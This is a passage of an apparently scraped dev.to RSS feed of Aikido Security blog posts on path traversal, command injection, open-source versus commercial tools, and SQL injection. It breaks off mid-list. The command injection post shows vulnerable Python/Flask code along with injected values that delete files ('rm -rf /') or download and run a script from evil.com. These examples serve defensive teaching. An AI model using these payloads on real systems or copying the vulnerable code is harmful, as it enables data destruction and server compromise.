&lt;p&gt;&lt;strong&gt;What happened&lt;/strong&gt;: While the primary cause was an SSRF vulnerability, the attacker also leveraged directory traversal in accessing AWS S3 bucket metadata. The attacker exploited misconfigurations to retrieve configuration files that should have been inaccessible.&lt;/p&gt;

&lt;p&gt;This exposed personal data of 106 million credit card applicants.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2020-8570" rel="noopener noreferrer"&gt;Path Traversal in Kubernetes Dashboard&lt;/a&gt; &lt;strong&gt;(2020)&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;The Kubernetes Dashboard had a directory traversal flaw (CVE-2020-8563). Attackers exploited this to read sensitive files in the container, including secrets stored in &lt;code&gt;/etc&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;​&lt;/p&gt;

&lt;h3&gt;
  
  
  ​
&lt;/h3&gt;

</description>
      <category>sast</category>
    </item>
    <item>
      <title>Command injection in 2024 unpacked</title>
      <dc:creator>Felix Garriau</dc:creator>
      <pubDate>Fri, 22 Nov 2024 20:12:50 +0000</pubDate>
      <link>https://dev.to/aikidosecurity/command-injection-in-2024-unpacked-56k9</link>
      <guid>https://dev.to/aikidosecurity/command-injection-in-2024-unpacked-56k9</guid>
      <description>&lt;h2&gt;
  
  
  &lt;strong&gt;What is Command Injection?&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Command injection is a vulnerability still very prevalent in web applications despite being less famous than its cousins SQL injection or Code injection. If you’re familiar with other injection vulnerabilities, you’ll recognize the common principle: untrusted user input is not properly validated, leading to the execution of arbitrary system commands. This flaw occurs when unvalidated input is passed to system-level functions. &lt;strong&gt;So how prominent is command injection actually?&lt;/strong&gt; We looked at how common it is to see this vulnerability in the wild, *spoiler*, it is surprisingly common! &lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Example of Command Injection&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Consider this example of command injection,  let’s say you have an application where you can enter the name of a file hosted on a server. The application retrieves that file writing out its content. The code for which is below&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import os

file_name = input("Enter the file name: ")
os.system(f"cat {file_name}")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The above code expects a user to insert a file name like &lt;code&gt;file.txt&lt;/code&gt; , but instead  a malicious user injects some code to run malicious commands. &lt;/p&gt;

&lt;p&gt;&lt;em&gt;For example&lt;/em&gt;  Name of file: &lt;code&gt;file.txt; rm -rf /&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This input would first display the contents of &lt;code&gt;file.txt&lt;/code&gt; and then execute the malicious &lt;code&gt;rm -rf&lt;/code&gt;command, which will forcibly delete all the files in a directory. &lt;/p&gt;

&lt;p&gt;The malicious user can do this because the application did not validate or sanitize the user's input making the application is susceptible to command injection. &lt;/p&gt;

&lt;p&gt;&lt;em&gt;If you would like a more comprehensive example see the bonus content at the&lt;/em&gt; bottom of this page.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command Injection in Numbers: Our Research
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;7% of all vulnerabilities found in open-source&lt;/strong&gt; projects in 2024 were command injection&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;5.8% for closed-source&lt;/strong&gt; projects!&lt;/li&gt;
&lt;li&gt;An increase in the total number of command injection vulnerabilities in open-source projects  &lt;strong&gt;from 2,348&lt;/strong&gt; &lt;em&gt;&lt;strong&gt;(2023)&lt;/strong&gt;&lt;/em&gt; &lt;strong&gt;to an expected 2,600&lt;/strong&gt; &lt;em&gt;&lt;strong&gt;(2024)&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;.&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;As a percentage of all vulnerabilities, &lt;strong&gt;Command injection is getting less popular&lt;/strong&gt;: a &lt;strong&gt;decrease of 14.6% and 26.4%&lt;/strong&gt; for open-source and closed-source projects respectively from 2023 to 2024&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Fcommand-injection_3c5da5a38fcc1b2b7fdab3a64ad8594d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Fcommand-injection_3c5da5a38fcc1b2b7fdab3a64ad8594d.png" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Our research focused on researching both open-source and closed-source projects to reveal how many had command injection vulnerabilities hiding within.&lt;/p&gt;

&lt;p&gt;Overall the number of command injection vulnerabilities is very high with 7% of  allvulnerabilities reported in open-source projects being command injection and 5.8% in closed-source projects. &lt;a href="https://www.aikido.dev/blog/the-state-of-sql-injections" rel="noopener noreferrer"&gt;This is quite close to the number of SQL injection vulnerabilities found. &lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There is some good news to pull out of the data too, we are seeing a solid trend of these vulnerabilities reducing from 2023 to 2024. As a percentage of all vuleribilities we saw a reduction of 27% in closed-source projects and 14% in open-source. There are likely many factors contributing to this, one likely significant factor is that the &lt;a href="https://www.cisa.gov/news-events/alerts/2024/07/10/cisa-and-fbi-release-secure-design-alert-eliminating-os-command-injection-vulnerabilities" rel="noopener noreferrer"&gt;FBI and CISA&lt;/a&gt; in 2024 pointed to command injection as a real threat and urged vendors to pay attention to it. According to the data, this warning was heard. &lt;/p&gt;

&lt;p&gt;The good news unfortunately stops there. We are still seeing an increase in the overall number of vulnerabilities reported in open-source projects. The total number of injection vulnerabilities reported in open-source projects went from 2,348 in 2023 to 2,450 so far in 2024 (expected to reach 2,600) &lt;/p&gt;

&lt;p&gt;​&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Ftotal-number-command-injection-1_edec6541ebc6a1b59e7e85a2d9503631.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Ftotal-number-command-injection-1_edec6541ebc6a1b59e7e85a2d9503631.png" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  How to Prevent Command Injection
&lt;/h2&gt;

&lt;p&gt;Preventing command injection vulnerabilities requires a multi-faceted approach:&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Server-side Input Validation&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;A common mistake some make is performing only clientside validation which can be bypassed by an attacker making a direct request.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import subprocess
# Example of restricted input
allowed_files = ['file1.txt', 'file2.txt']
user_input = "file1.txt"  # This should come from user, but is validated
if user_input in allowed_files:
subprocess.Popen(['ls', '-l', user_input])
else:
print("Invalid input!")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  &lt;strong&gt;Avoid shell commands&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Replace shell commands with language-native functions or libraries where possible. Below is an example of using read only mode to open a file and read the contexts within.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;with open("file.txt", "r") as f:
print(f.read())
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  &lt;strong&gt;Automated Testing&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Use tools like Aikido to scan your source code and application to discover these vulnerabilities.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Use an in-app firewall&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;One of the best defenses against injection attacks is an &lt;a href="https://www.aikido.dev/zen" rel="noopener noreferrer"&gt;in-app firewall &lt;/a&gt;that is able to catch and block malicious commands.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Apply the Principle of Least Privilege&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Configure applications and users to run with the minimum privileges necessary, reducing potential damage from exploitation.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;The road forward&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Command injection along with many injection vulnerabilities is a challenge, from a technology point of view, we have solved this, meaning there is no need to have this kind of vulnerability in your applications. With that in mind, the fact that we still see so many of these types of vulnerabilities means we can’t expect a quantum leap of improvement. &lt;/p&gt;

&lt;p&gt;Command injection will continue to be a problem however because we did see a significant drop this year with large organizations putting a focus on this vulnerability, there is hope to think that command injection may become less prominent in the future if we continue to bring awareness to it.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Bonus Content&lt;/strong&gt;
&lt;/h2&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;A History of Command Injection: Prominent Breaches&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Command injection has been a persistent threat for a long time. In fact there was a significant command injection vulnerability that was present in bash from 1989 all the way to 2014. More recently in 2024 the importance of command injection was highlighted by the CISA and FBI showing it is still a big concern.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Early Days of Command Injection&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;First Known Usage:&lt;/strong&gt; Command injection vulnerabilities emerged with the rise of multi-user computing systems in the 1970s and 1980s, allowing attackers to execute arbitrary commands via unsanitized inputs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;1980s and 1990s:&lt;/strong&gt; The proliferation of web technologies led to increased exploitation of command injection, particularly through improperly secured CGI scripts.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;2. Significant Breaches and Exploits&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;1998: The First Documented Web-based Command Injection Attack:&lt;/strong&gt; A vulnerability in a widely used Perl-based CGI script was exploited, marking one of the first major web-based command injection incidents.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2010: Stuxnet Worm (Embedded Command Injection):&lt;/strong&gt; Stuxnet utilized command injection to target industrial control systems, demonstrating the vulnerability's reach beyond traditional IT environments.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;3. 2010s: Exploitation at Scale&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;2014:&lt;/strong&gt; &lt;a href="https://en.wikipedia.org/wiki/Shellshock_%2528software_bug%2529?utm_source=chatgpt.com" rel="noopener noreferrer"&gt;Shellshock Vulnerability&lt;/a&gt;&lt;strong&gt;:&lt;/strong&gt; Shellshock (CVE-2014-6271) exploited Bash's command processing, affecting millions of systems worldwide.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2018:&lt;/strong&gt; &lt;a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0101#:~:text=A%2520vulnerability%2520in%2520the%2520Secure,or%2520to%2520remotely%2520execute%2520code." rel="noopener noreferrer"&gt;Cisco ASA VPN Exploit (CVE-2018-0101)&lt;/a&gt;&lt;strong&gt;:&lt;/strong&gt; A command injection vulnerability in Cisco's ASA software allowed remote code execution, compromising enterprise security.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;4. 2020s: Modern Exploits and Trends&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;2020:&lt;/strong&gt; &lt;a href="https://bishopfox.com/blog/citrix-adc-gateway-rce-cve-2023-3519" rel="noopener noreferrer"&gt;Citrix ADC Gateway Exploit:&lt;/a&gt; Attackers exploited command injection vulnerabilities in Citrix systems, leading to significant data breaches.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2023:&lt;/strong&gt; &lt;a href="https://projectdiscovery.io/blog/moveit-transfer-sql-injection" rel="noopener noreferrer"&gt;MOVEit Vulnerability (SQL and Command Injection)&lt;/a&gt;&lt;strong&gt;:&lt;/strong&gt; A command injection flaw in MOVEit Transfer software led to widespread data breaches across multiple organizations.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Realistic command injection vulnerability&lt;/strong&gt;
&lt;/h3&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;The Vulnerable Code&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Let's look at a slightly more complex example of command injection. Below is some code for a simple Python web application. It allows users to create a ZIP archive of specified files by sending a POST request to the &lt;code&gt;/archive&lt;/code&gt; route.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;from flask import Flask, request
import os

app = Flask(__name__)
@app.route('/archive', methods=['POST'])
def archive_files():

files = request.form.get('files')  # User provides file names to archive

archive_name = request.form.get('archive_name')  # User provides archive name

command = f"zip {archive_name}.zip {files}"  # Command built dynamically

os.system(command)  # Execute the system command

return f"Archive {archive_name}.zip created successfully!"
if __name__ == "__main__":
app.run(debug=True)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  &lt;strong&gt;How It Works&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;The user supplies:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;files&lt;/code&gt; (e.g., &lt;code&gt;file1.txt file2.txt&lt;/code&gt;) to specify which files to include in the archive.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;archive_name&lt;/code&gt; to specify the name of the resulting zip archive.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The code constructs a shell command dynamically:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;zip archive_name.zip file1.txt file2.txt&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The &lt;code&gt;os.system()&lt;/code&gt; function executes the command, allowing the user-provided inputs to dictate its behavior.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Exploitation&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;An attacker exploits this by injecting additional commands into the &lt;code&gt;archive_name&lt;/code&gt; or &lt;code&gt;files&lt;/code&gt; inputs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Input Provided by the Attacker:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;archive_name&lt;/code&gt;&lt;strong&gt;:&lt;/strong&gt; &lt;code&gt;my_archive; rm -rf /&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;files&lt;/code&gt;&lt;strong&gt;:&lt;/strong&gt; &lt;code&gt;file1.txt&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;The Resulting Command:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;zip my_archive.zip file1.txt; rm -rf /&lt;/code&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;zip my_archive.zip file1.txt&lt;/code&gt;&lt;strong&gt;:&lt;/strong&gt; Creates an archive as expected.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;; rm -rf /&lt;/code&gt;&lt;strong&gt;:&lt;/strong&gt; Deletes all files on the server by executing a separate destructive command.&lt;/li&gt;
&lt;/ol&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;A More Sophisticated Example&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;The attacker might exploit this to download malware or exfiltrate data:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;archive_name&lt;/code&gt;&lt;strong&gt;:&lt;/strong&gt; &lt;code&gt;archive; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Resulting Command:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;zip archive.zip file1.txt; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This command:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Creates an archive (&lt;code&gt;zip archive.zip file1.txt&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Downloads malicious code (&lt;code&gt;curl -o malware.sh http://evil.com/malware.sh&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Executes the malware (&lt;code&gt;bash malware.sh&lt;/code&gt;).&lt;/li&gt;
&lt;/ol&gt;

</description>
    </item>
    <item>
      <title>Balancing Security: When to Leverage Open-Source Tools vs. Commercial Solutions</title>
      <dc:creator>Felix Garriau</dc:creator>
      <pubDate>Fri, 15 Nov 2024 08:26:54 +0000</pubDate>
      <link>https://dev.to/aikidosecurity/balancing-security-when-to-leverage-open-source-tools-vs-commercial-solutions-3fc0</link>
      <guid>https://dev.to/aikidosecurity/balancing-security-when-to-leverage-open-source-tools-vs-commercial-solutions-3fc0</guid>
      <description>&lt;p&gt;When deciding what approach to use for security tooling, it seems like there are two choices.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;1.&lt;/em&gt; &lt;em&gt;&lt;strong&gt;Sell your left kidney&lt;/strong&gt;&lt;/em&gt; &lt;em&gt;and buy the enterprise solution whose name is on the side of a Formula 1 car.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;2.&lt;/em&gt; &lt;em&gt;&lt;strong&gt;Pick the free open-source tool&lt;/strong&gt;&lt;/em&gt; &lt;em&gt;that swipes right on more false positives than a dating app during a lonely Friday night.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Like everything in security, there is more to unpack in reality. In this article I want to explore when open-source security tools should be used, when commercial tools are more effective, and if we can trust tools built from an open-source core.&lt;/p&gt;

&lt;h2&gt;
  
  
  Build vs Buy (the open-source cost trap)
&lt;/h2&gt;

&lt;p&gt;As you grow your company, you will soon realize that the choice between open-source and commercial is more a choice between &lt;strong&gt;building tools&lt;/strong&gt; or &lt;strong&gt;buying tools.&lt;/strong&gt; Open-source provides a great starting point but they lack a lot of the features you need, dashboards, integrations, compliance reporting, remediation workflows, false positive filtering, and vulnerability prioritization, to name a few. So the idea that open-source is free simply isn’t true. This can be an advantage though, building as you go stretches out the initial investment and you can focus on features that are important to you. It means you aren’t relying on a vendor to deliver the feature they ‘promised’ they would deliver in Q3 2 years ago.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;There are plenty of negatives to consider when building on top of open-source tools.&lt;/strong&gt; Firstly not only will it take significant development time to build out these tools but it will also require continuous maintenance. Security tools can also block production when they are integrated into elements like CI/CD pipelines for example. This means when they fail or crash, they can cause losses in productivity with no support to help you get back online.&lt;/p&gt;

&lt;p&gt;What about the buy option then? Firstly there is no ramp-up period, you get complete coverage right from the beginning which results in less security debt later on. You also don’t lose the opportunity cost of taking engineering teams off your core objectives to focus on building features for internal tools. In the fast-paced startup world, don’t underestimate the value of this.&lt;/p&gt;

&lt;h2&gt;
  
  
  Open-source vs commercial
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://infogram.com/table-chart-1h1749woeoq9l2z?live" rel="noopener noreferrer"&gt;https://infogram.com/table-chart-1h1749woeoq9l2z?live&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Are commercial tools better at vulnerability discovery?
&lt;/h2&gt;

&lt;p&gt;So far we have talked about all the tool's features without even asking possibly one of the most important questions. &lt;strong&gt;What will find more vulnerabilities?&lt;/strong&gt; Generally speaking, the core functionality of open-source tools will often match their commercial counterparts in their ability to find vulnerabilities. Where commercial tools will pull ahead though is their ability to filter out false positives and prioritize their findings.&lt;/p&gt;

&lt;p&gt;Think of it like this, you have two fishing boats an open-source boat and a commercial boat. Both use the same net and catch just as much volume as each other, but the commercial tool has a processing plant that throws away the trash, sorts the fish into sizes and throws away the fish we can’t eat. Both boats caught the same results but the open-source tool is missing the next stage of triage.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2F4_cf8f2ac08d62b96d35cd814fe5da107a.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2F4_cf8f2ac08d62b96d35cd814fe5da107a.png" width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It is very often commercial tools that are built on open-source projects. For example, let's take Zen by Aikido, a full-featured in-app firewall that is designed to stop threats at runtime. So is it better at detecting run-time threats and stopping them than an open-source equivalent, not really, because it's based on an open-source project, AikidoZen. The value of the enterprise version is in its additional features like analysis, rule creation, deeper understanding of &lt;em&gt;Your&lt;/em&gt; specific threats, and ease of deployment, all things you would need to build yourself if you used the open-source version in an enterprise. So open-source isn’t necessarily worse, it just is missing the next stage of triage.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Note: Benchmarking tools against vulnerabilities found can also be very tricky. A great security tool might find fewer vulnerabilities because it is better at removing false positives based on context. Therefore the better tool isn’t always the one that finds the most, more often than not it's the opposite.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Powered by open-source built for enterprises
&lt;/h2&gt;

&lt;p&gt;So open-source is too much development and the commercial is too expensive, &lt;strong&gt;how about a happy medium&lt;/strong&gt;? Full-featured tools that use open-source at their core are not a new concept. Some of the most successful security products in the world use open source at their core like, Hashicorp Vault, Elastic Security, and Metaploit to name a few. There are many reasons why these tools do so well and it’s probably not for the reasons you think.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Cost-effectiveness&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Open-source powered tools not only need to compete with alternative commercial tools, they also must compete with their open-source base. That means their value must be proven and transparent often resulting in a more cost-effective offering.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Power of the community&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Often open-source tools are maintained and built by commercial companies, like &lt;a href="https://github.com/AikidoSec/firewall-node" rel="noopener noreferrer"&gt;Aikido Zen&lt;/a&gt;. Tools that are based on open-source are not just done so to reduce development time, but also because founders believe fundamentally in the power of open-source. Open-source tools are often faster at building features because they have a community behind them, it also means that if you have a specific and niche problem you can introduce it to the tool yourself.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Transparency&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Often buying commercial tools can be a little like buying a car without seeing its engine. How good/reliable is it in the long term? It is easier to hide weaknesses when someone can’t peer into the engine. Open-source powered tools cannot hide their engine so it is easier to feel confident in the tool itself.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Commercial Features&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;As stated before, because an open-source-powered tool is often competing with both commercial alternatives and open-source tools it has to stand proudly behind its additional features. This will mean everything you expect from a commercial tool but often quite a bit more. Because the product benefits from a well-defined open-source base, attention can be spent on improvements which are ultimately passed onto the end user.&lt;/p&gt;

&lt;h2&gt;
  
  
  So what do I choose (final thoughts)
&lt;/h2&gt;

&lt;p&gt;We have discussed the advantages of open-source, commercial, and open-source powered security tools. I think it is clear from my tone that as the author I love the open-source community and believe open-source-powered tools to be a compromise on price without a compromise on features. It is of course idiotic to say that there is no reason why in some scenarios where a pure commercial version is better. There are great innovative solutions out there that are entirely closed-source. But my ultimate point is that just because something is based on an open-source project, it doesn’t mean it will compromise in ability or features. And because it needs to prove its value in complete transparency, it often offers deeper features and value.&lt;/p&gt;

&lt;p&gt;Aikido security was created by developers for developers to help get security done. We a proud of our open-source heritage and would love for you to come see it in action for yourself.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;a href="https://aikido.dev/login" rel="noopener noreferrer"&gt;Get Started With Aikido Security For Free&lt;/a&gt;
&lt;/h3&gt;

</description>
    </item>
    <item>
      <title>The State of SQL Injections</title>
      <dc:creator>Felix Garriau</dc:creator>
      <pubDate>Sat, 09 Nov 2024 14:53:30 +0000</pubDate>
      <link>https://dev.to/aikidosecurity/the-state-of-sql-injections-44n3</link>
      <guid>https://dev.to/aikidosecurity/the-state-of-sql-injections-44n3</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Fscreenshot-2024-11-09-at-154438_87d064008742ce1e32557cf8f9ad6f20.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Fscreenshot-2024-11-09-at-154438_87d064008742ce1e32557cf8f9ad6f20.jpg" width="800" height="451"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;SQL injection (SQLi) has a history that is older than Internet Explorer (which according to Gen Z was the start of civilization). There have been thousands of breaches caused by SQL injection and an endless amount of well-documented best practices and tools to help prevent it. So surely, surely we learned our lesson from these breaches and SQLi is no longer an issue.&lt;/p&gt;

&lt;p&gt;We have been monitoring the amount of SQL injections discovered in open-source and closed-source projects to find out if we are in fact getting better and decided to give you a sneak peek into our up-and-coming State of Injection report for 2025.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Spoiler, turns out we are still terrible at preventing SQL injection.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What is SQL injection?
&lt;/h2&gt;

&lt;p&gt;SQLi is a vulnerability that occurs when a program uses untrusted user input directly in a query to a SQL database. A  malicious user can then insert his own code and manipulate the query allowing the malicious user to access private data, bypass authentication or delete data. The example below shows how an insecure SQL query for a user login page is vulnerable to an SQLi authentication bypass attack.&lt;/p&gt;

&lt;p&gt;There are many different types of injection attacks like code injection or Cross Site Scripting (XSS). But SQLi specifically has played a prominent role in breaches for a very long time and comes as a shock to many that we still need to discuss this in 2024. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Fscreenshot-2024-11-09-at-154523_9f3abb56a2c98ba90f464bc51dc963e5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Fscreenshot-2024-11-09-at-154523_9f3abb56a2c98ba90f464bc51dc963e5.png" width="800" height="621"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  SQL History
&lt;/h2&gt;

&lt;p&gt;Ever since we started talking about security in our applications we have talked about SQL injection. It was even featured at number 7 on the very first OWASP top 10 chart in 2003, in 2010 was included in the injection category and took the number 1 spot until 2021. One of the &lt;a href="https://www.ftc.gov/sites/default/files/documents/cases/2003/06/ftc.gov-guesscmp.htm" rel="noopener noreferrer"&gt;first large-scale attacks&lt;/a&gt; documented involving SQL injection was when the clothing company Guess was targeted resulting in the leak of credit card numbers. Since then SQL injection has been a regular guest among security headlines.&lt;/p&gt;

&lt;p&gt;​&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Fscreenshot-2024-11-09-at-154543_79834a524336770cafa9b5d1ad231ddf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Fscreenshot-2024-11-09-at-154543_79834a524336770cafa9b5d1ad231ddf.png" width="800" height="451"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  SQL injection by the numbers
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Key Points&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;6.7% of all vulnerabilities found in open-source projects are SQLi&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;10% for closed-source projects&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;
